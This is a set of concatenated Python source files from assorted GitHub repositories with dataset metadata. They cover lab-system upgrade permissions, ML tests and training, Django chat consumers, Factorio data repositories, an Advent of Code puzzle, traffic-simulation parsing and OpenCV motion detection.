typestool.constructContent(type_name=\"InsuranceCompanies\",\n container=portal['bika_setup'],\n id='bika_insurancecompanies',\n title='Insurance Companies')\n obj = portal['bika_setup']['bika_insurancecompanies']\n obj.unmarkCreationFlag()\n obj.reindexObject()\n if not portal['bika_setup'].get('bika_insurancecompanies'):\n logger.info(\"InsuranceCompanies not created\")\n\n # Define permissions\n mp = portal.manage_permission\n mp(AddInsuranceCompany, ['Manager', 'Owner', 'LabManager', 'LabClerk'], 1)\n mp(ViewInsuranceCompanies, ['Manager', 'LabManager', 'Owner', 'LabClerk', 'Doctor', 'RegulatoryInspector'], 1)\n\n # Adding client permissions to allow client contacts to see patients\n mp = portal.clients.manage_permission\n mp(ViewPatients, ['Manager', 'LabManager', 'Owner', 'LabClerk', 'Doctor', 'Client', 'RegulatoryInspector', 'Client'], 1)\n portal.clients.reindexObject()\n\n # Adding patients permissions to allow client contacts to see patients\n mp = portal.patients.manage_permission\n mp(EditPatient, ['Manager', 'LabManager', 'LabClerk', 'Client'], 1)\n mp(ViewPatients, ['Manager', 'LabManager', 'Owner', 'LabClerk', 'Doctor', 'RegulatoryInspector', 'Client'], 1)\n mp(ViewAnalysisRequests, ['Manager', 'LabManager', 'LabClerk', 'RegulatoryInspector', 'Doctor', 'Client'], 0)\n mp(ViewSamples, ['Manager', 'LabManager', 'LabClerk', 'RegulatoryInspector', 'Doctor', 'Client'], 0)\n mp(ViewBatches, ['Manager', 'LabManager', 'LabClerk', 'RegulatoryInspector', 'Doctor', 'Client'], 0)\n mp(permissions.View, ['Manager', 'LabManager', 'LabClerk', 'RegulatoryInspector', 'Doctor', 'Client'], 0)\n mp('Access contents information', ['Manager', 'LabManager', 'LabClerk', 'RegulatoryInspector', 'Doctor', 'Client'], 0)\n portal.patients.reindexObject()\n\n # Rewriting in order to see the label with vew permissions\n client = portal.portal_types.getTypeInfo(\"Client\")\n client.addAction(id=\"patients\",\n name=\"Patients\",\n action=\"string:${object_url}/patients\",\n permission=\"BIKA: View Patients\",\n category=\"object\",\n visible=True,\n icon_expr=\"string:${portal_url}/images/patient.png\",\n link_target=\"\",\n description=\"\",\n condition=\"\")\n\n \"\"\" HEALTH-125 Reorder invoices and ARimports in the navigation bar.\n \"\"\"\n portal.moveObjectToPosition('invoices', portal.objectIds().index('supplyorders'))\n portal.moveObjectToPosition('arimports', portal.objectIds().index('referencesamples'))\n\n return True\n","repo_name":"bikalims/bika.health","sub_path":"bika/health/upgrade/to316.py","file_name":"to316.py","file_ext":"py","file_size_in_byte":4388,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"11"} +{"seq_id":"39355100959","text":"import numpy as np\nimport pytest\n\nfrom sklearn_ann.test_utils import assert_row_close, needs\n\ntry:\n from sklearn_ann.kneighbors.annoy import AnnoyTransformer\nexcept ImportError:\n pass\n\n\n@needs.annoy\ndef test_euclidean(random_small, random_small_pdists):\n trans = AnnoyTransformer(metric=\"euclidean\")\n mat = trans.fit_transform(random_small)\n euclidean_dist = random_small_pdists[\"euclidean\"]\n assert_row_close(mat, euclidean_dist)\n\n\n@needs.annoy\n@pytest.mark.xfail(reason=\"not sure why this isn't working\")\ndef test_angular(random_small, random_small_pdists):\n trans = AnnoyTransformer(metric=\"angular\")\n mat = trans.fit_transform(random_small)\n angular_dist = np.arccos(1 - random_small_pdists[\"cosine\"])\n assert_row_close(mat, angular_dist)\n","repo_name":"frankier/sklearn-ann","sub_path":"tests/test_annoy.py","file_name":"test_annoy.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"16890647335","text":"# WebSocket handling\nimport json\n\nfrom django.db import transaction\nfrom channels.auth import channel_session_user\n\nfrom manage_room.consumers import check_admin\nfrom manage_room.utils import get_room_or_error, catch_client_error\n\nfrom .models import ChatAndReply, Notice, Poll\n\n\n@channel_session_user\n@catch_client_error\ndef new_chat(message):\n room = get_room_or_error(message[\"room\"])\n\n if message[\"is_reply\"]:\n chat = ChatAndReply.objects.create(\n room=room,\n is_reply=True,\n description=message[\"description\"],\n assist_hash=message[\"hash\"]\n )\n chat.send_message_reply()\n else:\n chat = ChatAndReply.objects.create(\n room=room,\n description=message[\"description\"]\n )\n chat.send_message()\n\n\n@channel_session_user\n@catch_client_error\ndef new_notice(message):\n if check_admin(message):\n room = get_room_or_error(message[\"room\"])\n notice = Notice.objects.create(\n room=room,\n description=message[\"description\"]\n )\n\n notice.send_message()\n else:\n pass\n\n\n@channel_session_user\n@catch_client_error\ndef new_poll(message):\n if check_admin(message):\n room = get_room_or_error(message[\"room\"])\n answers = json.loads(message[\"answer\"])\n answer_count = json.dumps([0] * len(answers))\n poll = Poll.objects.create(\n room=room,\n question=message[\"question\"],\n answer=message[\"answer\"],\n answer_count=answer_count\n )\n if not message[\"question\"]:\n poll.question = 'poll_' + poll.hash_value\n poll.save()\n\n poll.start_poll(message[\"room\"])\n else:\n pass\n\n\n@channel_session_user\n@catch_client_error\ndef end_poll(message):\n room = get_room_or_error(message[\"room\"])\n with transaction.atomic():\n poll = Poll.objects.get(room=room, hash_value=message[\"hash_value\"])\n answer_count = json.loads(poll.answer_count) # list result\n answer_count[int(message[\"answer\"])] += 1\n poll.answer_count = json.dumps(answer_count)\n poll.save()\n\n poll.result_poll(message[\"room\"])\n\n\n@channel_session_user\n@catch_client_error\ndef get_poll(message):\n room = get_room_or_error(message[\"room\"])\n poll = Poll.objects.get(room=room, hash_value=message[\"hash_value\"])\n\n message.reply_channel.send({\n \"text\": json.dumps({\n \"result_poll\": message[\"room\"],\n 'question': poll.question,\n 'hash_value': poll.hash_value,\n 'answer': poll.answer, # json list\n 'answer_count': poll.answer_count, # json list\n }),\n })\n","repo_name":"dduk-ddak/coding-night-live","sub_path":"manage_chat/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"11"} +{"seq_id":"7870932159","text":"# This is a logger\n# For every line you write and press enter\n# The line gets written to a file\n# In this case is called log.txt\n# To exit the program you can write quit or exit\n\n\nprint(\"Hello, welcome to my logger.\\n\"+\"this was made to save anything txt by only writting in it and pressing enter\")\n\n#Main data saver for 2 or more lines\ndef save_data():\n for i in input_lst: \n f = open(\"log.txt\", \"a\")\n f.writelines(str(i))\n if input_lst[-1] != i:\n f.writelines(\" | \")\n else:\n continue\n f = open(\"log.txt\", \"a\")\n f.writelines(\"\\n\")\n f.close() \n \n# The starting point a infinite while loop\nwhile True:\n datawr = input(\"Write anything to log in a file: \")\n input_lst = datawr.split()\n\n # This is the way to exit the program\n if datawr == \"exit\" or datawr == \"quit\": break\n \n # The loop for more than 2 words/numbers\n if len(input_lst) >= 2 :\n save_data() \n continue\n \n # If not more then 2 words/numbers\n else: \n f = open(\"log.txt\", \"a\")\n f.write(datawr + \"\\n\")\n f.close()\n continue \n\n\n\n","repo_name":"Jaer985/Testing","sub_path":"Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74055683866","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 31 08:16:33 2022\n\n@author: sergey_lesovoi\n\"\"\"\n\nimport numpy as NP\nimport pylab as PL\nfrom MoonTb import MoonTb\nfrom scipy.stats import linregress\nimport matplotlib\nfrom ZirinTb import ZirinTb\n\nmt = MoonTb()\nzi = ZirinTb()\nfreqs = phaseEdit.srhFits.freqList * 1e-6\n\nweVis0 = 3472\nweVis1 = 3567\n\nnVis0 = 3007\nnVis1 = 3036\n\nnVisLcp = phaseEdit.srhFits.visLcp[:,:,nVis0:nVis1]\nnVisRcp = phaseEdit.srhFits.visRcp[:,:,nVis0:nVis1]\nweVisLcp = phaseEdit.srhFits.visLcp[:,:,weVis0:weVis1]\nweVisRcp = phaseEdit.srhFits.visRcp[:,:,weVis0:weVis1]\n\nnLcpPhase = NP.angle(nVisLcp)\nnRcpPhase = NP.angle(nVisRcp)\nweLcpPhase = NP.angle(weVisLcp)\nweRcpPhase = NP.angle(weVisRcp)\n\nPL.figure()\n#PL.plot(((nLcpPhase[:,:,:]) - (nRcpPhase[:,:,:])).mean(axis=1),'.')\n#PL.plot(((weLcpPhase[:,:,:]) - (weRcpPhase[:,:,:])).mean(axis=1),'.')\n\n# PL.plot(((nLcpPhase[0,:,0]) - (nRcpPhase[0,:,0])),'.')\n# PL.plot(((nLcpPhase[0,:,1]) - (nRcpPhase[0,:,1])),'.')\n# PL.plot(((nLcpPhase[0,:,2]) - (nRcpPhase[0,:,2])),'.')\n\nPL.plot(((nLcpPhase[0,:,1]) - (nRcpPhase[0,:,1])),'.')\nPL.plot(((nLcpPhase[7,:,1]) - (nRcpPhase[7,:,1])),'.')\nPL.plot(((nLcpPhase[15,:,1]) - (nRcpPhase[15,:,1])),'.')\n\n\n","repo_name":"astronom-v-cube/scripts_from_SRH","sub_path":"other/srh_0306_rcp_lcp_phase_diff.py","file_name":"srh_0306_rcp_lcp_phase_diff.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39212455637","text":"import numpy as np\n\nimport _funcs\nimport _utils\n\ndef cauchy_stress(strain,rot,rotm,ne,dof,ndi,nshr,ntens,nstatev,nf,nprops,\n props,fout,voigt=False):\n \"\"\"\n Compute the cauchy stress in local csys using the backward-Euler with an elastic predictor and plastic corrector.\n\n Parameters\n ----------\n strain : (nf,ne,ntens) , float\n Strain in corotational material csys.\n rot : (nf,ne,dof,dof) , float\n Rotation tensor.\n rotm : (dof,dof) , float\n Material rotation tensor.\n ne : int\n Number of elements.\n dof : int\n Number of degrees of freedom.\n ndi : int\n Number of normal tensor components.\n nshr : int\n Number of shear tensor components.\n ntens : int\n Number of tensor components.\n nstatev : int\n Number of internal state variables.\n nf : int\n Number of increments.\n nprops : int\n Number of material properties.\n props : (nprops,) , float\n Material properties.\n fout : str\n Name of output folder.\n voigt : bool\n Flag for voigt notation (False/True).\n\n Returns\n -------\n stress : (nf,ne,dof,dof) , float\n Cauchy stress in global csys.\n statev : (nf,ne,ntens+1) , float\n Internal state variables in local csys.\n de33 : (nf,ne) , float\n Strain in thickness direction (plane stress).\n success : bool\n Variable to monitor the sucess of stress reconstruction (False/True).\n \"\"\"\n\n # Initialize f2py external stop function\n _funcs.ummdp_vfm.f2py_stop = _utils.f2py_stop\n\n # Stress integration in corotational material csys\n try:\n stress,statev,de33 = _funcs.ummdp_vfm.ummdp_vfm(strain,ne,ndi,nshr,\n ntens,nstatev,props,\n nprops,nf,fout)\n success = True\n\n except Exception:\n stress = np.zeros((nf,ne,ntens))\n statev = np.zeros((nf,ne,ntens+1))\n de33 = np.zeros((nf,ne))\n\n success = False\n\n # Rotate cauchy stress to global csys and convert to tensor form\n stress = _utils.rotate_tensor(stress,rot,rotm,ne,dof,ndi,ntens,nf,\n dir=1,voigt=voigt)\n\n return stress,statev,de33,success","repo_name":"migueljgoliveira/virtual-fields-method","sub_path":"_funcs/CauchyStress.py","file_name":"CauchyStress.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36754070013","text":"import time\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim\nimport numpy as np\nfrom torchvision import transforms\nfrom net import Net\nimport dataload\n\ndef train(train_loader, net, optimizer, epoch, device) :\n criterion = nn.L1Loss()\n\n net.train()\n running_loss = 0\n total_num = 0\n for i, sample in enumerate(train_loader) :\n image = sample['image'].to(device)\n depth = sample['depth'].to(device)\n\n optimizer.zero_grad() #zero the parameter gradients\n\n #forward + backward + optimize\n output = net(image)\n loss = criterion(output,depth)\n loss.backward()\n optimizer.step()\n running_loss += loss.item()\n total_num += batch_size\n\n #print statistics\n print(\"epoch : {}, loss : {}\".format(epoch, running_loss/float(total_num)))\n\nif __name__ == \"__main__\" :\n lr_ = 0.001 # learning rate\n weight_decay_ = 1e-4 \n batch_size = 8\n epoch_num = 20 #total epoch num\n train_net = Net()\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(device)\n train_net.to(device)\n\n optimizer = torch.optim.Adam(train_net.parameters(), lr=lr_, weight_decay=weight_decay_)\n train_loader = dataload.load_data('./nyuv2/train/', batch_size)\n\n for epoch in range (epoch_num) :\n if (epoch % 5 == 0) :\n lr_ = lr_ * 0.1 #reduce learning rate to 10% every 5 epochs\n optimizer = torch.optim.Adam(train_net.parameters(), lr=lr_, weight_decay=weight_decay_)\n train(train_loader, train_net, optimizer, epoch, device)\n \n PATH = './train_net.pth'\n torch.save(train_net.state_dict(),PATH)","repo_name":"Young2647/Computer-Vision","sub_path":"Assignment3/code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23905199018","text":"#! /usr/bin/python\nimport re\nimport pprint\n\n# global dictionaries\nteamNames = {}\ncollegeScore = {}\n\ndef printTeams(message):\n print(message)\n print(\"\\tTeams Wins Losses\")\n for team, score in collegeScore.items():\n print(\"\\t%s\\t%s %s\"%(team, collegeScore[team][0],collegeScore[team][1]))\ndef processTeams(team):\n for inputLine in team:\n inputLine = inputLine.rstrip('\\n')\n if inputLine == \"ENDTEAMS\":\n printTeams('INITAL')\n break\n collegeName = inputLine.split(\" \", 1)[0]\n teamName = inputLine.split(\" \", 1)[1]\n teamName = teamName.split(\", \")\n teamName.sort(reverse=True, key=len)\n teamNames[collegeName] = teamName\n collegeScore[collegeName] = [0,0]\n\n # pprint.pprint(teamNames)\n\n","repo_name":"asalinas88/cs3723","sub_path":"Proj5/p5team.py","file_name":"p5team.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73164313308","text":"\"\"\"Test for JSON Factorio technology repository.\"\"\"\nimport copy\nimport json\nimport pathlib\nfrom typing import Any\n\nimport more_itertools\n\nimport propt.adapters.factorio_repositories.json as repos\nimport propt.domain.factorio as factorio_domain\nimport propt.data.pyanodons as factorio_data\n\nimport pytest\n\n\n@pytest.fixture\ndef data() -> dict[str, Any]:\n return {\n \"name\": \"aluminium-mk04\",\n \"localised_name\": [\"technology-name.aluminium-mk04\"],\n \"effects\": [\n {\"type\": \"unlock-recipe\", \"recipe\": \"sinter-aluminium-2\"},\n {\"type\": \"unlock-recipe\", \"recipe\": \"molten-aluminium-05\"},\n ],\n \"research_unit_ingredients\": [\n {\"type\": \"item\", \"name\": \"py-science-pack\", \"amount\": 1},\n {\"type\": \"item\", \"name\": \"automation-science-pack\", \"amount\": 1},\n {\"type\": \"item\", \"name\": \"logistic-science-pack\", \"amount\": 1},\n {\"type\": \"item\", \"name\": \"chemical-science-pack\", \"amount\": 1},\n {\"type\": \"item\", \"name\": \"utility-science-pack\", \"amount\": 1},\n ],\n \"research_unit_count\": 100,\n \"research_unit_energy\": 3600,\n \"max_level\": 1,\n \"prerequisites\": [\"machines-mk04\", \"aluminium-mk03\"],\n }\n\n\n@pytest.fixture\ndef data_dir(data, tmp_path) -> pathlib.Path:\n data1 = data\n data2 = copy.deepcopy(data)\n data2[\"name\"] = \"aluminium-mk042\"\n with open(tmp_path / \"technology.json\", \"w\") as f:\n json.dump({\"aluminium-mk04\": data1, \"aluminium-mk042\": data2}, f)\n return tmp_path\n\n\ndef test_build_object(data_dir, data):\n path = pathlib.Path(more_itertools.first(factorio_data.__path__))\n assmac_repo = repos.JSONFactorioAssemblingMachineRepository(path)\n furnace_repo = repos.JSONFactorioFurnaceRepository(path)\n rocket_silo_repo = repos.JSONFactorioRocketSiloRepository(path)\n mining_drill_repo = repos.JSONFactorioMiningDrillRepository(path)\n\n item_repo = repos.JSONFactorioItemRepository(\n path, assmac_repo, furnace_repo, rocket_silo_repo, mining_drill_repo\n )\n fluid_repo = repos.JSONFactorioFluidRepository(path)\n recipe_repo = repos.JSONFactorioRecipeRepository(path, item_repo, fluid_repo)\n obj = repos.JSONFactorioTechnologyRepository(data_dir, recipe_repo).build_object(\n data\n )\n assert isinstance(obj, factorio_domain.FactorioTechnology)\n assert obj.name == \"aluminium-mk04\"\n\n\ndef test_build_repository(data_dir, data):\n path = pathlib.Path(more_itertools.first(factorio_data.__path__))\n assmac_repo = repos.JSONFactorioAssemblingMachineRepository(path)\n furnace_repo = repos.JSONFactorioFurnaceRepository(path)\n rocket_silo_repo = repos.JSONFactorioRocketSiloRepository(path)\n mining_drill_repo = repos.JSONFactorioMiningDrillRepository(path)\n\n item_repo = repos.JSONFactorioItemRepository(\n path, assmac_repo, furnace_repo, rocket_silo_repo, mining_drill_repo\n )\n fluid_repo = repos.JSONFactorioFluidRepository(path)\n recipe_repo = repos.JSONFactorioRecipeRepository(path, item_repo, fluid_repo)\n repo = repos.JSONFactorioTechnologyRepository(data_dir, recipe_repo)\n assert isinstance(repo, repos.JSONFactorioTechnologyRepository)\n assert repo\n assert \"aluminium-mk04\" in repo\n assert \"aluminium-mk042\" in repo\n assert repo[\"aluminium-mk04\"].name == data[\"name\"]\n","repo_name":"Gaasmann/propt","sub_path":"tests/adapters/factorio_repositories/json/test_technology.py","file_name":"test_technology.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23285032973","text":"import json\nimport functools\n\nfrom django.http import HttpResponse, HttpResponseBadRequest\n\nclass ajax(object):\n def __init__(self, required=True):\n self.required = required\n\n def allow_request(self, request):\n if not self.required:\n return True\n\n if request.user.is_superuser:\n return True\n\n if request.META.get('SERVER_NAME') == 'testserver':\n return True\n\n if request.is_ajax():\n return True\n\n return False\n\n def __call__(self, fn):\n @functools.wraps(fn)\n def wrapped(request, *args, **kwargs):\n if not self.allow_request(request):\n return HttpResponseBadRequest()\n\n response = fn(request, *args, **kwargs) or {}\n\n if isinstance(response, dict):\n return HttpResponse(\n json.dumps(response),\n content_type='text/html' if request.FILES else 'application/json',\n )\n\n return response\n return wrapped\n\nclass jsonp(object):\n def __call__(self, fn):\n @functools.wraps(fn)\n def wrapped(request, *args, **kwargs):\n response = fn(request, *args, **kwargs) or {}\n\n if not isinstance(response, dict):\n return response\n\n val = json.dumps(response)\n callback = request.GET.get('callback', '')\n\n if callback:\n val = u'%s(%s)' % (callback, val)\n\n return HttpResponse(val, content_type='application/javascript')\n\n return wrapped\n","repo_name":"lamby/hba1c.chris-lamb.co.uk","sub_path":"hba1c/utils/ajax.py","file_name":"ajax.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1079978653","text":"def writeFileByList(path, listArray):\n \"\"\"path:save path listArray:nd array\"\"\"\n if listArray is None:\n return\n\n # Open output file\n output = open(path, 'w', encoding='utf8')\n # Error\n if output is None:\n print(\"Invalid path\")\n return 1\n\n # Write\n for i in range(0, len(listArray)):\n for j in range(0, len(listArray[0])):\n output.write(str(listArray[i][j]) + \" \")\n output.write(\"\\n\")\n\n output.close\n return 0\n# End of writeFileByList\n\n# Make output path\ndef makePathStr(path, addInfo=\"output.txt\"):\n return path[:path.find('.')] + addInfo\n# End of makePathStr","repo_name":"CSID-DGU/2019-1-OSSP1-HFilter-1","sub_path":"MLModule/MLModule/FileRW.py","file_name":"FileRW.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41110277537","text":"input = open(\"/Users/cesar/07/input.txt\", \"r\").readlines()\n\n\nnums = [int(n) for n in input[0].split(\",\")]\n# nums = [16, 1, 2, 0, 4, 2, 7, 1, 2, 14]\n\nlarge_n = 1e10\nmin_pos = min(nums)\nmax_pos = max(nums)\n\n\ndef align(p1=False):\n\n min_fuel = large_n\n\n for x in range(min_pos, max_pos + 1):\n fuel = 0\n for idx, pos in enumerate(nums):\n # Try moving all of them to x\n if p1:\n fuel += abs(pos - x)\n else:\n fuel += (abs(pos - x) * (abs(pos - x) + 1)) // 2\n\n if fuel < min_fuel:\n min_fuel = fuel\n\n print(min_fuel)\n\n\nalign(True)\nalign(False)\n\n\n# Andy's solutions :D\nprint(min(sum(abs(v - x) for v in nums) for x in range(min_pos, max_pos + 1)))\nprint(\n min(\n sum(y * (y + 1) // 2 for y in (abs(v - x) for v in nums))\n for x in range(min_pos, max_pos + 1)\n )\n)\n","repo_name":"domino14/advent_of_code","sub_path":"2021/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10930153408","text":"import os\nimport sys\nimport car\nimport copy\nimport logging\nimport observer\nimport enforcer\nimport networkx as nx\n\n\ndef build_graph(problem_dict):\n logging.debug(\"Building graph\")\n assert 'n' in problem_dict, \"No nodes found! There is a problem in your \\\n input file.\"\n nodes = map(int, problem_dict['n'][0])\n logging.debug(\"Nodes: {}\".format(nodes))\n arcs = [(int(y[0]), int(y[1]), float(y[2])) for y in [x.split('-') for x\n in problem_dict['c'][0]]]\n logging.debug(\"Arcs: {}\".format(arcs))\n # Create graph.\n G = nx.DiGraph()\n G.add_nodes_from(nodes)\n G.add_weighted_edges_from(arcs)\n # Add speed limits.\n speed_limits = problem_dict['sp'][0]\n logging.debug(\"Speed limits: {}\".format(speed_limits))\n for speed in speed_limits:\n values = map(int, speed.split('-'))\n limit, nodes = values[0], values[1:]\n # Add limit to nodes.\n for n in nodes:\n G.node[n]['speed'] = limit\n # Add Cars.\n logging.debug(\"Adding cars: {}\".format(problem_dict['car']))\n for ind, c in enumerate(problem_dict['car']):\n init_pos, _, _, _ = c[0].split('-')\n init_pos = int(init_pos)\n if 'car' not in G.node[init_pos]:\n G.node[init_pos]['car'] = [ind+1]\n else:\n G.node[init_pos]['car'].append(ind+1)\n\n # Set forbidden nodes.\n set_feature(G, problem_dict['p'], 'prohibition')\n\n # Set red signals.\n set_feature(G, problem_dict['r'], 'signal')\n\n return G\n\n\ndef set_feature(G, dic, feat_name):\n feature = map(int, dic[0][0].split('-'))\n logging.debug(\"{} nodes: {}\".format(feat_name, feature))\n for n in feature:\n G.node[n][feat_name] = 1\n\n\ndef build_cars(problem_dict):\n cars = dict()\n logging.debug(\"Building cars: {}\".format(problem_dict['car']))\n for ind, c in enumerate(problem_dict['car']):\n init_pos, goal_pos, speed, speed_prob = c[0].split('-')\n cars[ind+1] = car.Car(ind+1, int(init_pos), int(goal_pos), int(speed),\n float(speed_prob))\n\n return cars\n\n\ndef build_enfs(problem_dict):\n enfs = dict()\n logging.debug(\"Building enfs: {}\".format(problem_dict['enf']))\n for ind, enf in enumerate(problem_dict['enf']):\n nodes = map(int, enf[0].split('-'))\n enfs[ind+1] = enforcer.Enforcer(ind+1, nodes)\n\n return enfs\n\n\ndef build_obs(problem_dict, problem_base_name):\n obs = dict()\n logging.debug(\"Building obs: {}\".format(problem_dict['ob']))\n if not os.path.isdir('./observers'):\n os.mkdir('./observers')\n for ind, ob in enumerate(problem_dict['ob']):\n nodes = map(int, ob[0].split('-'))\n obs_path = 'observers/'+ str(ind+1) + \"_\" + problem_base_name + \".txt\"\n obs[ind+1] = observer.Observer(ind+1, nodes, obs_path)\n\n return obs\n\n\ndef read_problem(problem_path):\n \"\"\"\n Read problem file and create the structure for states and plan.\n \n :param problem_path: Path to a file containing a problem description.\n :type problem_path: str\n :return: A graph structure, plans, and agents.\n \"\"\"\n logging.debug(\"Start reading from {}\".format(problem_path))\n lines = open(problem_path, 'r').readlines()\n\n base, ext = os.path.splitext(problem_path)\n if \"/\" in base:\n _, problem_base_name = base.split(\"/\")\n else:\n problem_base_name = base\n\n problem_dict = dict()\n\n for line in lines:\n # Divide lines by key and values.\n key, values = line.strip().split(' ')\n logging.debug(\"Line: {} and {}\".format(key, values))\n if key not in problem_dict:\n # Save each key in a dict.\n problem_dict[key] = [values.split(',')]\n else:\n problem_dict[key].append(values.split(','))\n\n G = build_graph(problem_dict)\n cars = build_cars(problem_dict)\n obs = build_obs(problem_dict, problem_base_name)\n enfs = build_enfs(problem_dict)\n\n return G, cars, obs, enfs, problem_base_name\n","repo_name":"JoaoPauloAires/norm-identifier","sub_path":"dataset_generation/problem_reader.py","file_name":"problem_reader.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"645140057","text":"import cv2\n\ndef movementv2():\n cap = cv2.VideoCapture(0)\n while cap.isOpened():\n retStart, frameStart = cap.read()\n retEnd, frameEnd = cap.read()\n\n diff = cv2.absdiff(frameStart, frameEnd)\n gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray, (5,5), 0)\n #threshold = cv2.adaptiveThreshold(blur, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2)\n test, threshold = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY)\n dilated = cv2.dilate(threshold, None, iterations=10)\n contours, test1 = cv2.findContours(dilated, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n #cv2.drawContours(frameStart, contours, -1, (255, 0, 0), 2)\n for contour in contours:\n (x, y, w, h) = cv2.boundingRect(contour)\n if cv2.contourArea(contour) < 700:\n continue\n cv2.rectangle(frameStart, (x, y), (x + w, y + h), (255, 0, 0), 2)\n\n cv2.imshow('Frame', frameStart)\n frameStart = frameEnd\n retEnd, frameEnd = cap.read()\n\n if cv2.waitKey(30) & 0xFF == 27: # Presiona Esc para salir\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n\ndef movementv1():\n # Use a breakpoint in the code line below to debug your script.\n\n # Inicializa el capturador de video con la cámara o un archivo de video\n cap = cv2.VideoCapture(0) # Reemplaza 'video.mp4' con la ruta de tu video o 0 para la cámara\n\n # Inicializa el algoritmo de sustracción de fondo\n fgbg = cv2.createBackgroundSubtractorMOG2()\n\n while True:\n ret, frame = cap.read()\n if not ret:\n break\n\n # Aplica el algoritmo de sustracción de fondo al frame actual\n fgmask = fgbg.apply(frame)\n\n # Aplica una serie de operaciones morfológicas para eliminar el ruido\n fgmask = cv2.morphologyEx(fgmask, cv2.MORPH_OPEN, None)\n fgmask = cv2.morphologyEx(fgmask, cv2.MORPH_CLOSE, None)\n\n # Encuentra los contornos de los objetos en movimiento\n contours, _ = cv2.findContours(fgmask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n # Dibuja los contornos en el frame original\n for contour in contours:\n if cv2.contourArea(contour) > 500: # Puedes ajustar este valor según tu aplicación\n x, y, w, h = cv2.boundingRect(contour)\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n # Muestra el frame original y el frame con los objetos en movimiento resaltados\n cv2.imshow('Frame', frame)\n cv2.imshow('Foreground Mask', fgmask)\n\n if cv2.waitKey(30) & 0xFF == 27: # Presiona Esc para salir\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n movementv2()\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"CarlosChapa947/movementDetection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14876889036","text":"import os\nimport pandas as pd\nimport torch\nfrom torch.utils.data import Dataset\nfrom torchvision import datasets\nfrom torchvision.io import read_image\n\nclass TrainImageDataset(Dataset):\n def __init__(self, annotations_file, img_dir, transform=None, target_transform=None):\n self.img_labels = pd.read_parquet(annotations_file)\n self.img_dir = img_dir\n self.transform = transform\n self.target_transform = target_transform\n self.class_dict = self.get_class_dict()\n print(self.class_dict)\n\n\n def __len__(self):\n return len(self.img_labels)\n\n\n def __getitem__(self, idx):\n img_path = os.path.join(self.img_dir, self.img_labels.iloc[idx, 0])\n image = read_image(img_path)\n label = self.img_labels.iloc[idx, 1]\n label = self.class_dict[label]\n if self.transform:\n image = self.transform(image)\n if self.target_transform:\n label = self.target_transform(label)\n sample = (image, label)\n\n return sample\n\n\n def get_classes(self):\n return self.img_labels[\"class\"].unique()\n\n\n def get_class_weights(self):\n value_counts = self.img_labels[\"class\"].value_counts(normalize=True)\n class_dict = self.get_class_dict()\n print(value_counts, self.get_class_dict())\n inverse = 1 - value_counts\n values = (inverse - value_counts.mean()) / (value_counts.max() - value_counts.min())\n\n weights = [0] * len(class_dict)\n for index in range(len(class_dict)):\n # print(values[index], values.index[index])\n weights[class_dict[values.index[index]]] = values[index]\n\n return weights\n\n\n def get_class_dict(self):\n classes = self.get_classes()\n return {class_name: index for index, class_name in enumerate(classes)}\n","repo_name":"WeersProductions/train-spotter","sub_path":"nn/image_dataset.py","file_name":"image_dataset.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22895082415","text":"# coding=utf-8\nfrom gui_test_tool import *\nfrom api_condition import *\n\ntool = GUITestTool()\n\n# 前置条件:创建一个服务商“测试自定义配置模板”,基于该服务商新增一个自定义配置\ncus_id = new_customer('测试自定义配置模板')\nself_config_mode_id = add_self_config_mode(cus_id, 